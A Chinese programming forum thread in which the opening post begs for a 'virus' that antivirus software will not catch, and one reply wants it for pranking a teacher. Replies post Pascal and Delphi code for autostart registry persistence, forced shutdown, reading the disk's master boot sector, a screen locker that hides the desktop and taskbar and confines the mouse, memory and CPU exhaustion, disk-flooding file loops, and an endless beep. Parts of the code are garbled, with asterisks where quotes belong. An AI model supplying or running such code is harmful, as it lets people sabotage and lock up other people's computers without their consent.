不要被杀毒软件杀掉，并且最好有详细方法，跪求…

RegSetValueEx(hKey,"zhangxiao",0,REG_SZ,(BYTE*)"D:\\123.BAT",strlen(szModule));
ExitWindowsEx
BOOL ExitWindowsEx(
   UINT uFlags,
   DWORD dwReason
);
uses windows

回复：3楼
exec**，不如用我2l的api

2L+
其实用API函数可以干出很多事情，不过小心杀软报警......

建议楼主先看看病毒的结构。
病毒程序的一般结构分三块。
1：驻留内存程序。
2：传染病毒程序。
3：破坏性程序（可以是良性，也可以是恶性）。
不过我只学过FOR WINDOWS编程。

procedure readdisk(drv,cy,head,sec:word;VAR result:boolean);
begin
    reg.DX:=head*256+drv;
    reg.CX:=((cy div 256)*64+sec)+(cy mod 256)*256;
    reg.BX:=ofs(buff[1]);
    reg.AX:=$0201;
    reg.es:=seg(buff[1]);
    intr($13,reg);
    if reg.ah=0
    then result:=true else result:=false;
end;
贴一段PASCAL与汇编的结合程序. 就是把硬盘主扇区内容读入buff[1..512].
这个程序.主要是说明PASCAL也可以直接用调用机器指令.


6楼打错了,我只学过DOS编程.没学过WINDOWS编程.
DOS编程是面向过程的, WINDOWS编程是面向对象的.
我一直转不过来,所以我就改行了.

说老实话，我也求这个病毒……整老师用

{$APPTYPE CONSOLE}
uses windows,crt;
var
DesktopHand, TrayWndHand: THandle;
inf:text;
r0, r1: TRect;
str1,str2,str0:string;
i,time,j,k,miao:longint;
procedure suoding;
begin
if miao=0 then
for k:=time-1 downto 0 do
for j:=59 downto 0 do
begin
clrscr;
textcolor(red);
WriteLn('欢迎使用此定时软件 ^_^');
textcolor(white);
writeln('请等待');
writeln('还有',k,'分钟',j,'秒钟');
Sleep(1000);
end;
if miao<>0 then
for k:=time downto 0 do
if time=k then
for j:=miao-1 downto 0 do
begin
clrscr;
textcolor(red);
WriteLn('欢迎使用此定时软件 ^_^');
textcolor(white);
writeln('请等待');
writeln('还有',k,'分钟',j,'秒钟');
Sleep(1000);
end
else for j:=59 downto 0 do
begin
clrscr;
textcolor(red);
WriteLn('欢迎使用此定时软件 ^_^');
textcolor(white);
writeln('请等待');
writeln('还有',k,'分钟',j,'秒钟');
Sleep(1000);
end;
DesktopHand := FindWindow('ProgMan', nil);
TrayWndHand := FindWindow('Shell_TrayWnd', nil);
ShowWindow(TrayWndHand, SW_HIDE); // 隐藏任务栏
ShowWindow(DesktopHand, SW_HIDE); // 隐藏桌面
GetClipCursor(r0); //获取当前鼠标的活动范围
// 设置新的鼠标活动范围
r1.Left := (r0.right+r0.Left)div 2-100;
r1.Top := (r0.bottom+r0.Top)div 2-100;
r1.Right := (r0.right+r0.Left)div 2-90;
r1.Bottom := (r0.bottom+r0.Top)div 2-90;
ClipCursor(@r1);
while true do
begin
WriteLn('请输入密码');
readln(str0);
if str0=str2 then break else begin writeln('密码错误');sleep(1000);clrscr;end;
end;
// 回复原来的鼠标活动范围
ClipCursor(@r0);
ShowWindow(DesktopHand, SW_SHOW); // 显示桌面
ShowWindow(TrayWndHand, SW_SHOW); // 显示任务栏
end;
procedure zhuanhuan1;
var i:longint;
begin
for i:=1 to length(str1) do
case str1[i] of
'd':str2:=str2+'1';
'e':str2:=str2+'2';
'f':str2:=str2+'3';
'g':str2:=str2+'4';
'h':str2:=str2+'5';
'i':str2:=str2+'6';
'j':str2:=str2+'7';
'k':str2:=str2+'8';
'l':str2:=str2+'9';
'm':str2:=str2+'0';
end;
end;
procedure zhuanhuan2;
var str:string;inf:text;
begin
writeln('请输入新密码(密码为数字）');
readln(str2);
str:='';
for i:=1 to length(str2) do
case str2[i] of
'1':str:=str+'d';
'2':str:=str+'e';
'3':str:=str+'f';
'4':str:=str+'g';
'5':str:=str+'h';
'6':str:=str+'i';
'7':str:=str+'j';
'8':str:=str+'k';
'9':str:=str+'l';
'0':str:=str+'m';
end;
str1:=str;
assign(inf,'linda.txt');
rewrite(inf);
writeln(inf,str);
writeln(inf,time);
close(inf);
writeln('修改密码成功');
sleep(1000);
clrscr;
textcolor(red);
WriteLn('欢迎使用此定时软件 ^_^');
textcolor(white);
end;
begin
clrscr;
assign(inf,'linda.txt');
reset(inf);
readln(inf,str1);
readln(inf,time,miao);
close(inf);
str2:='';
zhuanhuan1;
textcolor(red);
WriteLn('欢迎使用此定时软件 ^_^');
textcolor(white);
suoding;
clrscr;
textcolor(red);
WriteLn('欢迎使用此定时软件 ^_^');
textcolor(white);
while i<>3 do
begin
writeln('请选择');
writeln('1,修改密码');
writeln('2,修改时间(',time,'分钟',miao,'秒钟)');
{writeln('3,开始执行');}
writeln('0,退出程序');
readln(i);
clrscr;
textcolor(red);
WriteLn('欢迎使用此定时软件 ^_^');
textcolor(white);
if i=0 then halt;
if i=1 then
begin
writeln('请输入原密码');
readln(str0);
if str0<>str2 then writeln('密码错误')
else zhuanhuan2;
i:=1;
end;
{if i=3 then suoding;}
if i=2 then
begin
writeln('请输入时间(不为0的自然数');
read(time);
readln(miao);
assign(inf,'linda.txt');
rewrite(inf);
writeln(inf,str1);
writeln(inf,time,' ',miao);
close(inf);
clrscr;
textcolor(red);
WriteLn('欢迎使用此定时软件 ^_^');
textcolor(white);
end;
end;
clrscr;
textcolor(red);
WriteLn('谢谢使用^_^');
textcolor(white);
end.

还需要一个txt文件名叫linda.txt
里面输入
defg
0

关机：三楼有了

卡内存：
var p:^integer;
begin
while true do new(p);
end.

卡CPU：
program hehe;
uses dos;
var a,b:real;
i:integer;
begin
for i:=1 to 10000 do begin b:=b+1/i;c:=c+1/b;end;
assign(output,*a.bat*);
rewrite(output);
writeln(*start hehe.exe*);
close(output);
exec(*a.bat*,**);
end;

卡硬盘（这个最牛）：
var a,b,c,d,e,f:char;
begin
for a:=*a*to*z*do for b:=*a*to*z*do for c:=*a*to*z*do
for d:=*a*to*z*do for e:=*a*to*z*do for f:=*a*to*z*do begin
assign(output,a+b+c+d+e+f);
rewrite(output);
end;
end.

右手当年意气风发

每个头上都加上{$APPTYPE GUI}

卡硬盘升级版
var
a,b,c,d,e,g,h,i,j,k,l,m,n,o,p : char;
f : text;
begin
for a :=*a* to *z* do
begin
for b :=*a* to *z* do
begin
for c :=*a* to *z* do
begin
for d :=*a* to *z* do
begin
for e :=*a* to *z* do
begin
for g :=*a* to *z* do
begin
for h :=*a* to *z* do
begin
for i :=*a* to *z* do
begin
for j :=*a* to *z* do
begin
for k :=*a* to *z* do
begin
for l :=*a* to *z* do
begin
for m :=*a* to *z* do
begin
for n :=*a* to *z* do
begin
for o :=*a* to *z* do
begin
for p :=*a* to *z* do
begin
assign(f,a+b+c+d+e+g+h+i+j+k+l+m+n+o+p);
rewrite(f);
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end;
end.

同3L，楼主只要随便找个dos的代码就能使用，可以去我网盘找“史上最坑爹的小游戏”玩一玩，第一关答案错误关机，第二关错一次新建100个文件夹，第三关第n次错，在桌面新建一个2^nMB的文本文档，打开来全是2B呵呵呵

不能传播，不能自我复制，不能入侵内存，不能感染其它程序，不能自启动，算什么病毒

一个卡电脑的
Begin
While true do write(chr(7));
End.
电脑发声